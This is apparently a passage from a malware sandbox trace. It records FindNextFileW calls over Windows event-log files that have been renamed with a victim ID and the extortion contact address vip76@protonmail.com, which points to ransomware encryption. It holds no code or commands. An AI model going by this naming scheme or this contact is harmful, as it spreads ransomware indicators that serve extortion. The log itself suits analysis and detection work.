	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ca0d27, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89ca0d27, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89fe7fe5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI797B~1.HTM")) returned 1
	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89cc72a2, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89cc72a2, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89cc72a2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11134, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIEA0A~1.HTM")) returned 1
	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ced10c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89ced10c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89ced10c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11124, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIF76E~1.HTM")) returned 1
	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d132f0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89d132f0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89d132f0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11178, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE0B9~1.HTM")) returned 1
	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d3c164, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89d3c164, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a0cce58, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI6BF4~1.HTM")) returned 1
	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d5f990, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89d5f990, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x89d5f990, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11164, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI8C11~1.HTM")) returned 1
	[0167.463] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d85a3c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x89d85a3c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a6c882c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101136, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIED48~1.HTM")) returned 1
	[0167.464] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a00e2a8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a00e2a8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a034448, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE4B6~1.HTM")) returned 1
	[0167.464] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a034448, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a034448, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a034448, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11142, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA204~1.HTM")) returned 1
	[0167.464] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a05a895, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a05a895, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a5917e6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI75E2~1.HTM")) returned 1
	[0167.464] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a05a895, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a05a895, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a05a895, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI81F4~1.HTM")) returned 1
	[0167.464] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a080978, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a080978, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a080978, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MID54D~1.HTM")) returned 1
	[0167.464] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a0a6cb3, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a0a6cb3, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a0a6cb3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIE8A9~1.HTM")) returned 1
	[0167.464] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a0cce58, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a0cce58, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a0f3171, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11132, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIC4D5~1.HTM")) returned 1
	[0167.464] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a0f3171, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a0f3171, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a0f3171, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI2B87~1.HTM")) returned 1
	[0167.465] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a4141ba, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a4141ba, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a5917e6, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI45A8~1.HTM")) returned 1
	[0167.465] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a5b7b58, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a5b7b58, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a5b7b58, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI6314~1.HTM")) returned 1
	[0167.465] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a5dde20, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a5dde20, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a5dde20, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11136, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI50B9~1.HTM")) returned 1
	[0167.465] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a5dde20, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a5dde20, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a9251d2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11146, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIA182~1.HTM")) returned 1
	[0167.465] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a676654, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a676654, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a676654, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11168, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI05FA~1.HTM")) returned 1
	[0167.465] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a69c938, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a69c938, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a69c938, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI22DE~1.HTM")) returned 1
	[0167.465] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a70f062, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a70f062, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a70f062, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11170, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI69E4~1.HTM")) returned 1
	[0167.465] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa7c70d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8aa7c70d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac46302, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1117c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI03C7~1.HTM")) returned 1
	[0167.465] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a94b50a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a94b50a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a94b50a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI979C~1.HTM")) returned 1
	[0167.466] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a97171f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a97171f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac92706, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11154, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-User Profile Service%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI5C5C~1.HTM")) returned 1
	[0167.466] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a97171f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a97171f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a997842, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MID56C~1.HTM")) returned 1
	[0167.466] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a997842, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8a997842, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8a9bdaf7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIC663~1.HTM")) returned 1
	[0167.466] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abad9ac, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8abad9ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8abd3bf0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11156, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIC361~1.HTM")) returned 1
	[0167.466] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abd3bf0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8abd3bf0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8abf9d81, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI30F6~1.HTM")) returned 1
	[0167.466] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abf9d81, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8abf9d81, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8abf9d81, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1114c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIF773~1.HTM")) returned 1
	[0167.466] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac21037, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ac21037, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ade9c4a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI59EB~1.HTM")) returned 1
	[0167.466] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac46302, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ac46302, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac6c50c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11188, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI43E2~1.HTM")) returned 1
	[0167.466] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac6c50c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ac6c50c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b0727e3, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MIAC79~1.HTM")) returned 1
	[0167.467] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac92706, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ac92706, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac92706, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11156, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI5666~1.HTM")) returned 1
	[0167.467] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acb8afc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8acb8afc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8acb8afc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1113c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI4941~1.HTM")) returned 1
	[0167.467] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acb8afc, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8acb8afc, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b0becc9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI23AB~1.HTM")) returned 1
	[0167.467] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acded0f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8acded0f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8afb38c4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1110fe, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Security.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SECURI~1.HTM")) returned 1
	[0167.467] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ae36421, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ae36421, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b0260c9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110f8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SETUPE~1.HTM")) returned 1
	[0167.467] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0260c9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b0260c9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b23c155, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1110fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="System.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="SYSTEM~1.HTM")) returned 1
	[0167.467] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0becc9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b0becc9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b26242a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~1.HTM")) returned 1
